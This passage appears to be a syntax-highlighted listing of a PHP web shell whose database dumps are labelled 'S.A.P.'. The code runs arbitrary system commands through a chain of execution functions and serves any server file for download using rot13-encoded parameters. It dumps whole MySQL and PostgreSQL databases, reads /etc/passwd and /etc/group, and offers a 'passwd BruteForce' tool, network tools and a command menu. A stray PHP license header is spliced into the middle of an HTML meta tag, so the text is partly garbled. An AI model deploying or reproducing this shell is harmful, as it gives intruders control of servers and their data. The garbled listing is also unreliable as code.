class="string">",\n('"</span>.implode(<span class="string">"', '"</span>,<span class="variable">$r</span>).<span class="string">"')"</span>);}<span class="variable">$f</span>->wf(<span class="string">";\n"</span>);}break;<span class="keyword">case</span> <span class="string">'pg'</span>: <span class="variable">@pg_close</span>(<span class="variable">$this</span>->cl);<span class="variable">$this</span>->cl=<span class="variable">@pg_connect</span>(<span class="variable">$this</span>->cs.<span class="string">' dbname='</span>.<span class="variable">$d</span>);<span class="variable">$t</span>=explode(<span class="string">'.'</span>,<span class="variable">$t</span>, <span class="number">2</span>);<span class="variable">$f</span>->wf(<span class="string">"\n-- \n-- "</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">"."</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">"\n-- \n"</span>.<span class="string">'DROP TABLE IF EXISTS "'</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'";'</span>.<span class="string">"\n"</span>.<span class="string">'CREATE TABLE "'</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'" ( '</span>);<span class="variable">$q</span>=<span class="string">"SELECT '\"'||a.attname||'\"', format_type(a.atttypid, a.atttypmod), CASE WHEN a.attnotnull then 'NOT NULL' end FROM pg_class c, pg_attribute a WHERE c.relname='"</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">"' AND not a.attisdropped AND a.attnum>0 AND a.attrelid=c.oid AND c.relnamespace=(select oid from pg_namespace where nspname='"</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">"')"</span>;<span class="variable">$q</span>=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl,<span class="variable">$q</span>);<span class="variable">$c</span>=array();while(<span class="variable">$r</span>=<span class="variable">@pg_fetch_row</span>(<span class="variable">$q</span>))<span class="variable">$c</span>[]=implode(<span class="string">' '</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf( implode(<span class="string">', '</span>,<span class="variable">$c</span>).<span class="string">");\n\n"</span>);<span class="variable">$q</span>=<span class="variable">@pg_query</span>(<span class="variable">$this</span>->cl, <span class="string">'SELECT * FROM "'</span>.<span class="variable">$d</span>.<span class="string">'"."'</span>.<span class="variable">$t</span>[<span class="number">0</span>].<span class="string">'"."'</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'"'</span>);<span class="keyword">if</span>(<span class="variable">$r</span>=<span class="variable">@pg_fetch_row</span>(<span class="variable">$q</span>)){<span class="variable">$f</span>->wf(<span class="string">'INSERT INTO "'</span>.<span class="variable">$t</span>[<span class="number">1</span>].<span class="string">'" VALUES '</span>);<span class="variable">$r</span>=array_map(<span class="string">'pg_escape_string'</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf(<span class="string">"\n('"</span>.implode(<span class="string">"', '"</span>,<span class="variable">$r</span>).<span class="string">"')"</span>);while(<span class="variable">$r</span>=<span class="variable">@pg_fetch_row</span>(<span class="variable">$q</span>)){<span class="variable">$r</span>=array_map(<span class="string">'pg_escape_string'</span>,<span class="variable">$r</span>);<span class="variable">$f</span>->wf(<span class="string">",\n('"</span>.implode(<span class="string">"', '"</span>,<span class="variable">$r</span>).<span class="string">"')"</span>);}<span class="variable">$f</span>->wf(<span class="string">";\n"</span>);}break;}}function cl(){<span class="variable">$f</span>=<span class="variable">$this</span>->tp.<span class="string">'_close'</span>; @<span class="variable">$f</span>(<span class="variable">$this</span>->cl);}}<span class="keyword">if</span>(isset(<span class="variable">$_POST</span>[<span class="string">'fdw'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'fdwa'</span>])){<span class="variable">@session_write_close</span>();<span class="keyword">if</span>(isset(<span class="variable">$_POST</span>[<span class="string">'fdwa'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'fc'</span>])){<span class="variable">$_POST</span>[<span class="string">'fc'</span>]=array_map(<span class="string">'str_rot13'</span>,<span class="variable">$_POST</span>[<span class="string">'fc'</span>]);<span class="variable">$z</span>=new zc();<span class="variable">$z</span>->init();<span class="variable">$z</span>->add(<span class="variable">$_POST</span>[<span class="string">'fc'</span>]);<span class="variable">$z</span>->cl();die();}elseif(isset(<span class="variable">$_POST</span>[<span class="string">'fdw'</span>])){<span class="variable">$_POST</span>[<span class="string">'fdw'</span>]=str_rot13(<span class="variable">$_POST</span>[<span class="string">'fdw'</span>]);header(<span class="string">'Content-type: multipart/octet-stream'</span>);header(<span class="string">'Content-Disposition: attachment; filename='</span>.bname(<span class="variable">$_POST</span>[<span class="string">'fdw'</span>]));header(<span class="string">'Content-Transfer-Encoding: binary'</span>);header(<span class="string">'Accept-Ranges: bytes'</span>);header(<span class="string">'Content-Length: '</span>.<span class="variable">@filesize</span>(<span class="variable">$_POST</span>[<span class="string">'fdw'</span>]));header(<span class="string">'Last-Modified: '</span>.gmdate(<span class="string">'D, d M Y H:i:s'</span>).<span class="string">' GMT'</span>);<span class="variable">@readfile</span>(<span class="variable">$_POST</span>[<span class="string">'fdw'</span>]);die();}}<span class="keyword">if</span>(isset(<span class="variable">$_POST</span>[<span class="string">'sdd'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'cd'</span>])){<span class="variable">$z</span>=new zc();<span class="variable">$z</span>->init(<span class="string">'SQL_dump'</span>);<span class="variable">@session_start</span>();<span class="variable">$c</span>=<span class="variable">$_SESSION</span>[<span class="string">'DB'</span>]; <span class="variable">@session_write_close</span>();<span class="variable">$s</span>=new sc();<span class="variable">$s</span>->init(<span class="variable">$c</span>[<span class="string">'tp'</span>]);<span class="keyword">if</span>(<span class="variable">$s</span>->cn(<span class="variable">$c</span>[<span class="string">'ha'</span>],<span class="variable">$c</span>[<span class="string">'hp'</span>],<span class="variable">$c</span>[<span class="string">'un'</span>],<span class="variable">$c</span>[<span class="string">'up'</span>])){foreach(<span class="variable">$_POST</span>[<span class="string">'cd'</span>] as <span class="variable">$v</span>){<span class="variable">$z</span>->of(<span class="variable">$v</span>.<span class="string">'.sql'</span>);<span class="variable">$z</span>->wf(<span class="string">'-- -------------------------------- --'</span>.<span class="string">"\n"</span>.<span class="string">'-- [ SQL Dump created by S.A.P. ] --'</span>.<span class="string">"\n"</span>.<span class="string">'-- ['</span>.str_pad(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>], <span class="number">30</span>, <span class="string">' '</span>, <span class="title class_">STR_PAD_BOTH</span>).<span class="string">'] --'</span>.<span class="string">"\n"</span>.<span class="string">'-- [ '</span>.date(<span class="string">'Y/m/d'</span>).<span class="string">' ] --'</span>.<span class="string">"\n"</span>.<span class="string">'-- -------------------------------- --'</span>.<span class="string">"\n"</span>);<span class="variable">$s</span>->lt(<span class="variable">$v</span>);<span class="variable">$i</span>=<span class="number">0</span>; while(<span class="variable">$t</span>=<span class="variable">$s</span>->fv(<span class="variable">$i</span>++))<span class="variable">$s</span>->dt(<span class="variable">$v</span>,<span class="variable">$t</span>,<span class="variable">$z</span>);<span class="variable">$z</span>->cf();}<span class="variable">$s</span>->cl();}<span class="variable">$z</span>->cl();die();}<span class="keyword">if</span>(isset(<span class="variable">$_POST</span>[<span class="string">'sdt'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'ct'</span>])){class ce {function me(){}function wf(<span class="variable">$s</span>){echo <span class="variable">$s</span>;}}<span class="variable">$e</span>=new ce();<span class="variable">@session_start</span>();<span class="variable">$c</span>=<span class="variable">$_SESSION</span>[<span class="string">'DB'</span>]; <span class="variable">@session_write_close</span>();header(<span class="string">'Content-type: multipart/octet-stream'</span>);header(<span class="string">'Content-Disposition: attachment; filename='</span>.<span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>].<span class="string">'_['</span>.<span class="variable">$c</span>[<span class="string">'db'</span>].<span class="string">']_'</span>.date(<span class="string">'Y-m-d_H.i'</span>).<span class="string">'.sql'</span>);header(<span class="string">'Content-Transfer-Encoding: binary'</span>);header(<span class="string">'Last-Modified: '</span>.gmdate(<span class="string">'D, d M Y H:i:s'</span>).<span class="string">' GMT'</span>);echo <span class="string">'-- -------------------------------- --'</span>, <span class="string">"\n"</span>, <span class="string">'-- [ SQL Dump created by S.A.P. ] --'</span>, <span class="string">"\n"</span>, <span class="string">'-- ['</span>, str_pad(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>], <span class="number">30</span>, <span class="string">' '</span>, <span class="title class_">STR_PAD_BOTH</span>), <span class="string">'] --'</span>, <span class="string">"\n"</span>, <span class="string">'-- [ '</span>, date(<span class="string">'Y/m/d'</span>), <span class="string">' ] --'</span>, <span class="string">"\n"</span>, <span class="string">'-- -------------------------------- --'</span>, <span class="string">"\n"</span>;<span class="variable">$s</span>=new sc();<span class="variable">$s</span>->init(<span class="variable">$c</span>[<span class="string">'tp'</span>]);<span class="keyword">if</span>(<span class="variable">$s</span>->cn(<span class="variable">$c</span>[<span class="string">'ha'</span>],<span class="variable">$c</span>[<span class="string">'hp'</span>],<span class="variable">$c</span>[<span class="string">'un'</span>],<span class="variable">$c</span>[<span class="string">'up'</span>])){foreach(<span class="variable">$_POST</span>[<span class="string">'ct'</span>] as <span class="variable">$v</span>)<span class="variable">$s</span>->dt(<span class="variable">$c</span>[<span class="string">'db'</span>],<span class="variable">$v</span>,<span class="variable">$e</span>);<span class="variable">$s</span>->cl();}die();}function mt(){list(<span class="variable">$usec</span>,<span class="variable">$sec</span>)=explode(<span class="string">' '</span>, microtime());return ((float)<span class="variable">$usec</span>+(float)<span class="variable">$sec</span>);}define(<span class="string">'ST'</span>, mt());define(<span class="string">'IW'</span>, strtolower(substr(<span class="title class_">PHP_OS</span>,<span class="number">0</span>,<span class="number">3</span>))==<span class="string">'win'</span>);<span class="variable">@session_start</span>();<span class="keyword">if</span>(!empty(<span class="variable">$_POST</span>[<span class="string">'cs'</span>]))<span class="variable">$_SESSION</span>[<span class="string">'CS'</span>]=<span class="variable">$_POST</span>[<span class="string">'cs'</span>]; elseif(empty(<span class="variable">$_SESSION</span>[<span class="string">'CS'</span>]))<span class="variable">$_SESSION</span>[<span class="string">'CS'</span>]=<span class="string">'UTF-8'</span>;<span class="keyword">if</span>(empty(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'gh'</span>]))<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]=<span class="variable">@dirname</span>(<span class="variable">$_SERVER</span>[<span class="string">'SCRIPT_FILENAME'</span>]);elseif(isset(<span class="variable">$_POST</span>[<span class="string">'fp'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'fpr'</span>])){<span class="keyword">if</span>(isset(<span class="variable">$_POST</span>[<span class="string">'fpr'</span>]))<span class="variable">$_POST</span>[<span class="string">'fp'</span>]=str_rot13(<span class="variable">$_POST</span>[<span class="string">'fpr'</span>]);<span class="keyword">if</span>(<span class="variable">@is_file</span>(<span class="variable">$_POST</span>[<span class="string">'fp'</span>])){<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]=<span class="variable">@dirname</span>(<span class="variable">$_POST</span>[<span class="string">'fp'</span>]);<span class="variable">$_POST</span>[<span class="string">'fef'</span>]=<span class="variable">$_POST</span>[<span class="string">'fp'</span>];}elseif(<span class="variable">@is_dir</span>(<span class="variable">$_POST</span>[<span class="string">'fp'</span>]))<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]=<span class="variable">$_POST</span>[<span class="string">'fp'</span>];<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]=<span class="variable">@realpath</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]);}<span class="keyword">if</span>(<span class="title class_">IW</span>)<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]=str_replace(<span class="string">'\\'</span>, <span class="string">'/'</span>,<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]);<span class="keyword">if</span>(substr(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>],<span class="number">-1</span>) !=<span class="string">'/'</span>)<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>].=<span class="string">'/'</span>; <span class="variable">@chdir</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]);define(<span class="string">'PE'</span>, <span class="variable">@function_exists</span>(<span class="string">'posix_geteuid'</span>));<span class="variable">$ui</span>=array();<span class="variable">$gi</span>=array();<span class="keyword">if</span>(!<span class="title class_">PE</span> && !<span class="title class_">IW</span>){<span class="keyword">if</span>(<span class="variable">@is_readable</span>(<span class="string">'/etc/passwd'</span>)){<span class="variable">$a</span>=file(<span class="string">'/etc/passwd'</span>);foreach(<span class="variable">$a</span> as <span class="variable">$v</span>){<span class="variable">$v</span>=explode(<span class="string">':'</span>,<span class="variable">$v</span>);<span class="variable">$ui</span>[ <span class="variable">$v</span>[<span class="number">2</span>] ]=<span class="variable">$v</span>[<span class="number">0</span>];}}<span class="keyword">if</span>(<span class="variable">@is_readable</span>(<span class="string">'/etc/group'</span>)){<span class="variable">$a</span>=file(<span class="string">'/etc/group'</span>);foreach(<span class="variable">$a</span> as <span class="variable">$v</span>){<span class="variable">$v</span>=explode(<span class="string">':'</span>,<span class="variable">$v</span>);<span class="variable">$gi</span>[ <span class="variable">$v</span>[<span class="number">2</span>] ]=<span class="variable">$v</span>[<span class="number">0</span>];}}}function sm(<span class="variable">$m</span>,<span class="variable">$t</span>){echo <span class="string">'<fieldset class="'</span>.<span class="variable">$t</span>.<span class="string">'">'</span>, escHTML(<span class="variable">$m</span>), <span class="string">'</fieldset>'</span>;}function ctf(<span class="variable">$c</span>){<span class="variable">$t</span>=<span class="variable">@tempnam</span>(<span class="string">'/tmp/'</span>, <span class="string">''</span>);<span class="variable">$f</span>=<span class="variable">@fopen</span>(<span class="variable">$t</span>, <span class="string">'w'</span>);<span class="variable">@fwrite</span>(<span class="variable">$f</span>,<span class="variable">$c</span>);<span class="variable">@fclose</span>(<span class="variable">$f</span>);return <span class="variable">$t</span>;}function se(<span class="variable">$c</span>){<span class="variable">@ob_start</span>();<span class="keyword">if</span>(<span class="variable">$r</span>=@`echo <span class="number">1</span>`)echo @`<span class="variable">$c</span>`; elseif(<span class="variable">@function_exists</span>(<span class="string">'exec'</span>)){<span class="variable">@exec</span>(<span class="variable">$c</span>,<span class="variable">$r</span>);echo <span class="variable">@implode</span>(<span class="string">"\n"</span>,<span class="variable">$r</span>);}elseif(<span class="variable">@function_exists</span>(<span class="string">'system'</span>)) <span class="variable">@system</span>(<span class="variable">$c</span>);elseif(<span class="variable">@function_exists</span>(<span class="string">'shell_exec'</span>))echo <span class="variable">@shell_exec</span>(<span class="variable">$c</span>);elseif(<span class="variable">@function_exists</span>(<span class="string">'passthru'</span>)) <span class="variable">@passthru</span>(<span class="variable">$c</span>);elseif(<span class="variable">@is_resource</span>(<span class="variable">$f</span>=<span class="variable">@popen</span>(<span class="variable">$c</span>, <span class="string">'r'</span>))){while(!feof(<span class="variable">$f</span>))echo fread(<span class="variable">$f</span>,<span class="number">1024</span>);<span class="variable">@pclose</span>(<span class="variable">$f</span>);}elseif(<span class="variable">@is_resource</span>(<span class="variable">$f</span>=<span class="variable">@proc_open</span>(<span class="variable">$c</span>, array(array(<span class="string">'pipe'</span>, <span class="string">'r'</span>), array(<span class="string">'pipe'</span>, <span class="string">'w'</span>), array(<span class="string">'pipe'</span>, <span class="string">'a'</span>)),<span class="variable">$p</span>)) ){echo <span class="variable">@stream_get_contents</span>(<span class="variable">$p</span>[<span class="number">1</span>]);<span class="variable">@proc_close</span>(<span class="variable">$f</span>);}elseif(<span class="variable">@function_exists</span>(<span class="string">'pcntl_exec'</span>)) <span class="variable">@pcntl_exec</span>(<span class="string">'/bin/sh'</span>, array(<span class="string">'-c'</span>,<span class="variable">$c</span>));elseif(<span class="variable">@function_exists</span>(<span class="string">'expect_popen'</span>) && is_resource(<span class="variable">$f</span>=<span class="variable">@expect_popen</span>(<span class="variable">$c</span>))){while(!feof(<span class="variable">$f</span>))echo fread(<span class="variable">$f</span>, <span class="number">1024</span>);<span class="variable">@fclose</span>(<span class="variable">$f</span>);}elseif(<span class="variable">@is_resource</span>(<span class="variable">$f</span>=<span class="variable">@fopen</span>(<span class="string">'expect://'</span>.<span class="variable">$c</span>, <span class="string">'r'</span>))){while(!feof(<span class="variable">$f</span>))echo fread(<span class="variable">$f</span>, <span class="number">1024</span>);<span class="variable">@fclose</span>(<span class="variable">$f</span>);}echo escHTML(<span class="variable">@ob_get_clean</span>());}<span class="variable">@header</span>(<span class="string">"Content-Type: text/html; charset="</span>.<span class="variable">$_SESSION</span>[<span class="string">'CS'</span>]);?><!<span class="title class_">DOCTYPE</span> <span class="title class_">HTML</span> <span class="title class_">PUBLIC</span> <span class="string">"-//W3C//DTD HTML 4.01 Transitional//EN"</span>/><html> <head> <meta http-equiv=<span class="string">"Content-Type"</span> content=<span class="string">"text/html; charset=<?php</span></span><br><span class="line"><span class="string">/* vim: set expandtab tabstop=4 shiftwidth=4: */</span></span><br><span class="line"><span class="string">// +----------------------------------------------------------------------+</span></span><br><span class="line"><span class="string">// | PHP version 5 |</span></span><br><span class="line"><span class="string">// +----------------------------------------------------------------------+</span></span><br><span class="line"><span class="string">// | Copyright (c) 1997-2004 The PHP Group |</span></span><br><span class="line"><span class="string">// +----------------------------------------------------------------------+</span></span><br><span class="line"><span class="string">// | This source file is subject to version 3.0 of the PHP license, |</span></span><br><span class="line"><span class="string">// | that is bundled with this package in the file LICENSE, and is |</span></span><br><span class="line"><span class="string">// | available through the world-wide-web at the following url: |</span></span><br><span class="line"><span class="string">// | http://www.php.net/license/3_0.txt. |</span></span><br><span class="line"><span class="string">// | If you did not receive a copy of the PHP license and are unable to |</span></span><br><span class="line"><span class="string">// | obtain it through the world-wide-web, please send a note to |</span></span><br><span class="line"><span class="string">// | license@php.net so we can mail you a copy immediately. |</span></span><br><span class="line"><span class="string">// +----------------------------------------------------------------------+</span></span><br><span class="line"><span class="string">// | Authors: Original Author <author@example.com> |</span></span><br><span class="line"><span class="string">// | Your Name <you@example.com> |</span></span><br><span class="line"><span class="string">// +----------------------------------------------------------------------+</span></span><br><span class="line"><span class="string">//</span></span><br><span class="line"><span class="string">// $Id:$</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">echo $_SESSION['CS']; ?>"</span>/> <title><?php</span><br><span class="line">echo escHTML(<span class="variable">$_SERVER</span>[<span class="string">'SERVER_NAME'</span>]); ?></title> <style> html {<span class="symbol">margin:</span><span class="number">0</span>; <span class="symbol">padding:</span><span class="number">0</span>; background-<span class="symbol">color:</span><span class="comment">#4a4a4a}body {margin:0px auto; padding:0; width:1000px; font:normal 11px Verdana; color:#bfbfbf; border:1px solid #7c7c7c; background:#000000}a, a:hover, a:visited {color:#aaaaaa; text-decoration:none} fieldset {margin:5px 3px; padding:3px 5px; font-weight:bold; border:1px solid #444444; background:#202020}legend {padding:3px 10px; min-width:90px; border:1px solid #444444; background:#202020} fieldset.head {margin-top:3px}fieldset.menu {padding:2px 0px; text-align:center}fieldset.nav{padding:3px 5px}fieldset.e, fieldset.i {margin:8px; padding:6px 0px 6px 0px; text-align:center; background:#3f3f3f}fieldset.e {border-color:#ee0000}fieldset.i {border-color:#0000ee} table {margin:0; padding:0; table-layout:fixed; font:normal 11px Verdana; border-collapse:collapse} table.head {border:none}table.head th {text-align:left}table.head th, table.head td {padding:3px 0px}table.head td b {color:#cfcfcf} table.list {margin-top:5px; margin-bottom:20px; border:1px solid #000000; background:#202020}table.list th {padding:3px 10px}table.list td {padding:3px 5px}table.list tr.ok {color:green}table.list tr.fail {display:none} #listf {margin:5px; width:990px; background:#202020} #listf td, table.form td {padding:4px 3px}#listf td div {display:inline; color:#555} table.list tr:hover, #listf tr:hover, table.lists tr:hover td, table.listr tr:hover td {background:#333333}table.list th, #listf th, table.listr th {color:#d0d0d0; border:1px solid #000000; background:#505050}table.list td, #listf td, table.listr td {border:1px solid #000000}table.listp td {text-align:center}table.listp th {padding:2px 5px} #listf th, table.lists th {padding:3px 0px; border:1px solid #707070} table.lists, table.listr {width:100%; background:#202020}table.lists td {padding:2px 0px; text-align:center; border:1px solid #000000}table.lists td div {display:none; position:absolute; margin-left:213px; margin-top:-18px; padding:1px 5px; text-align:left; background:#404040; border:1px solid #707070}table.lists tr:hover td div {display:block} table.listr {table-layout:auto}table.listr th {padding:2px 4px}table.listr td {padding:4px}table.listr td p {max-height:100px; overflow-y:auto} form {margin:0px; padding:2px 0px}button, input[type=submit], input[type=text], input[type=file], select, textarea, pre {color:#aaaaaa; border:1px solid #7c7c7c; background:#444444}button:hover, input[type=submit]:hover, input[type=text]:hover, select:hover, textarea:hover {color:#eeeeee; border-color:#a0a0a0}button, input[type=submit] {margin:0; padding:1px 10px; font:normal 11px Verdana; white-space:pre;}input[type=text], input[type=file], select {margin:0px; padding:1px; font:normal 11px Verdana}input[type=text]:focus, textarea:focus {color:#eeeeee; background:#000000}input[type=checkbox]{margin:0; border:1px solid #000000; background:#3f3f3f}textarea {margin:2px 5px; padding:2px 3px; width:990px; height:300px}button::-moz-focus-inner, input[type=submit]::-moz-focus-inner{margin:0; padding:0px; border:0} fieldset.menu button {padding:2px 10px 3px 10px}fieldset.nav form {padding:0}fieldset.pag form {display:inline}fieldset.footer form {margin:0; padding:0} #listf button[type=submit] {margin:0px 2px; padding:0; font:normal 11px Verdana; border:none; background:none}#listf th input[type=submit] {margin:5px 5px 2px 1px; padding-bottom:2px; background:#000000}table.lists td input[type=submit] {width:100%; text-align:left; border:none; background:none}table.lists th input[type=submit] {margin:0; padding:0px 10px} pre{margin:5px; padding:1px 2px; height:310px; overflow:auto; text-align:left; white-space:pre; font:normal 12px "Courier New" }div.ntwrk {float:left; margin:0; padding:0; width:250px}div.ntwrk fieldset {margin:10px 10px 25px 10px}div.ntwrk fieldset div {margin:8px 0px 5px 0px; font-weight:normal} button.sb{margin:0;padding:0 1px 0 0;font-size:12px;border:0;background:none;cursor:pointer;} #listf td:nth-of-type(2):hover {color:#eee;}</style> <script>function ca(v, f){ var cb=document.getElementById(f);for(i=1, n=cb.elements.length; i<n; i++){if(cb.elements[i].type=='checkbox') cb.elements[i].checked=v;}}</script> </head><body> <fieldset class="head"><table class="head"> <tr><th style="width:125px">Server address :</th><td><?php</span></span><br><span class="line"><span class="keyword">if</span> (!empty(<span class="variable">$_SERVER</span>[<span class="string">'SERVER_NAME'</span>])) echo (<span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>] == <span class="variable">$_SERVER</span>[<span class="string">'SERVER_NAME'</span>]) ? <span class="variable">$_SERVER</span>[<span class="string">'SERVER_NAME'</span>] : <span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>] . <span class="string">' on '</span> . <span class="variable">$_SERVER</span>[<span class="string">'SERVER_NAME'</span>];</span><br><span class="line"><span class="keyword">else</span> echo <span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>];</span><br><span class="line"><span class="variable">$i</span> = <span class="variable">@gethostbyname</span>(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_HOST'</span>]);</span><br><span class="line"><span class="keyword">if</span> (!empty(<span class="variable">$_SERVER</span>[<span class="string">'SERVER_ADDR'</span>])) echo <span class="string">' ('</span>, (<span class="variable">$_SERVER</span>[<span class="string">'SERVER_ADDR'</span>] == <span class="variable">$i</span>) ? <span class="variable">$_SERVER</span>[<span class="string">'SERVER_ADDR'</span>] : <span class="variable">$i</span> . <span class="string">', '</span> . <span class="variable">$_SERVER</span>[<span class="string">'SERVER_ADDR'</span>], <span class="string">')'</span>;</span><br><span class="line">elseif (!empty(<span class="variable">$i</span>)) echo <span class="string">' ('</span>, <span class="variable">$i</span>, <span class="string">')'</span>;</span><br><span class="line">echo <span class="string">' / '</span>, <span class="variable">@php_uname</span>(<span class="string">'n'</span>); ?></td></tr><tr><th><span class="title class_">Server</span> <span class="title class_">OS</span> <span class="symbol">:</th><td><</span>?php</span><br><span class="line">echo <span class="title class_">IW</span> ? <span class="variable">@file_get_contents</span>(<span class="string">'/etc/issue.net'</span>) . <span class="string">' '</span> : <span class="string">''</span>, <span class="variable">@php_uname</span>(<span class="string">'s'</span>) , <span class="string">' '</span>, <span class="variable">@php_uname</span>(<span class="string">'r'</span>) , <span class="string">' '</span>, <span class="variable">@php_uname</span>(<span class="string">'v'</span>) , <span class="string">' '</span>, <span class="variable">@php_uname</span>(<span class="string">'m'</span>); ?></td></tr><tr><th><span class="title class_">Server</span> software <span class="symbol">:</th><td><</span>?php</span><br><span class="line"><span class="keyword">if</span> (!strpos(<span class="variable">$_SERVER</span>[<span class="string">'SERVER_SOFTWARE'</span>], <span class="string">'PHP/'</span>)) echo <span class="string">'<b>PHP</b>/'</span>, <span class="variable">@phpversion</span>() , <span class="string">' '</span>;</span><br><span class="line">echo preg_replace(<span class="string">'#([^ ]*)/#U'</span>, <span class="string">'<b>$1</b>/'</span>, <span class="variable">$_SERVER</span>[<span class="string">'SERVER_SOFTWARE'</span>]);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'curl_init'</span>)) echo <span class="string">' <b>cURL</b>'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'mysql_connect'</span>)) echo <span class="string">' <b>MySQL</b>/'</span> . <span class="variable">@mysql_get_client_info</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'mssql_connect'</span>)) echo <span class="string">' <b>MSSQL</b>'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'pg_connect'</span>)) echo <span class="string">' <b>PostgreSQL</b>'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="string">'ocilogon'</span>)) echo <span class="string">' <b>Oracle</b>'</span>; ?></td></tr><tr><th><span class="title class_">User</span> info <span class="symbol">:</th><td><</span>?php</span><br><span class="line"><span class="keyword">if</span> (<span class="title class_">PE</span>) {</span><br><span class="line"> <span class="variable">$u</span> = <span class="variable">@posix_getpwuid</span>(<span class="variable">@posix_geteuid</span>());</span><br><span class="line"> <span class="variable">$g</span> = <span class="variable">@posix_getgrgid</span>(<span class="variable">@posix_getegid</span>());</span><br><span class="line"> <span class="variable">$i</span> = array(</span><br><span class="line"> <span class="variable">$u</span>[<span class="string">'uid'</span>],</span><br><span class="line"> <span class="variable">$u</span>[<span class="string">'name'</span>],</span><br><span class="line"> <span class="variable">$g</span>[<span class="string">'gid'</span>],</span><br><span class="line"> <span class="variable">$g</span>[<span class="string">'name'</span>]</span><br><span class="line"> );</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$i</span> = <span class="variable">@getmygid</span>();</span><br><span class="line"> <span class="variable">$i</span> = array(</span><br><span class="line"> <span class="variable">@getmyuid</span>() ,</span><br><span class="line"> <span class="variable">@get_current_user</span>() ,</span><br><span class="line"> <span class="variable">$i</span>,</span><br><span class="line"> empty(<span class="variable">$gi</span>[<span class="variable">$i</span>]) ? <span class="variable">$i</span> : <span class="variable">$gi</span>[<span class="variable">$i</span>]</span><br><span class="line"> );</span><br><span class="line">}</span><br><span class="line">echo <span class="string">'uid='</span>, <span class="variable">$i</span>[<span class="number">0</span>], <span class="string">'('</span>, <span class="variable">$i</span>[<span class="number">1</span>], <span class="string">') gid='</span>, <span class="variable">$i</span>[<span class="number">2</span>], <span class="string">'('</span>, <span class="variable">$i</span>[<span class="number">3</span>], <span class="string">')'</span>; ?></td></tr><?php</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">@ini_get</span>(<span class="string">'safe_mode'</span>)) echo <span class="string">'<tr><th>SafeMode :</th><th style="color:#FF4500">ON</th></tr>'</span>;</span><br><span class="line"><span class="keyword">if</span> (is_string(<span class="variable">$d</span> = <span class="variable">@ini_get</span>(<span class="string">'open_basedir'</span>)) && trim(<span class="variable">$d</span>) !== <span class="string">''</span>) echo <span class="string">'<tr><th>OpenBaseDir :</th><td style="color:#FF4500">'</span>, escHTML(<span class="variable">$d</span>) , <span class="string">'</td></tr>'</span>;</span><br><span class="line"><span class="keyword">if</span> (is_string(<span class="variable">$d</span> = <span class="variable">@ini_get</span>(<span class="string">'disable_functions'</span>)) && trim(<span class="variable">$d</span>) !== <span class="string">''</span>) echo <span class="string">'<tr><th>Disable functions :&nbsp;</th><td style="color:#FF4500">'</span>, escHTML(str_replace(<span class="string">','</span>, <span class="string">', '</span>, <span class="variable">$d</span>)) , <span class="string">'</td></tr>'</span>; ?></table></fieldset> <fieldset class=<span class="string">"menu"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>> <button type=<span class="string">"submit"</span> name=<span class="string">"fe"</span>><span class="title class_">Explorer</span></button> <button type=<span class="string">"submit"</span> name=<span class="string">"fs"</span>><span class="title class_">Searcher</span></button> <button type=<span class="string">"submit"</span> name=<span class="string">"se"</span>><span class="title class_">SQL</span>-client</button> <button type=<span class="string">"submit"</span> name=<span class="string">"nt"</span>><span class="title class_">Network</span> <span class="title class_">Tools</span></button> <?php</span><br><span class="line"><span class="keyword">if</span> (!<span class="title class_">IW</span> && <span class="variable">@is_readable</span>(<span class="string">'/etc/passwd'</span>)) { ?> <button type=<span class="string">"submit"</span> name=<span class="string">"br"</span>>passwd <span class="title class_">BruteForce</span></button> <?php</span><br><span class="line">} ?> <button type=<span class="string">"submit"</span> name=<span class="string">"sc"</span>><span class="title class_">CMD</span></button> <button type=<span class="string">"submit"</span> name=<span class="string">"si"</span>><span class="title class_">Server</span> info</button> </form></fieldset> <fieldset class=<span class="string">"nav"</span>><table width=<span class="string">"100%"</span>><tr><th width=<span class="string">"50px"</span> align=<span class="string">"left"</span>><span class="title class_">Go</span> to <span 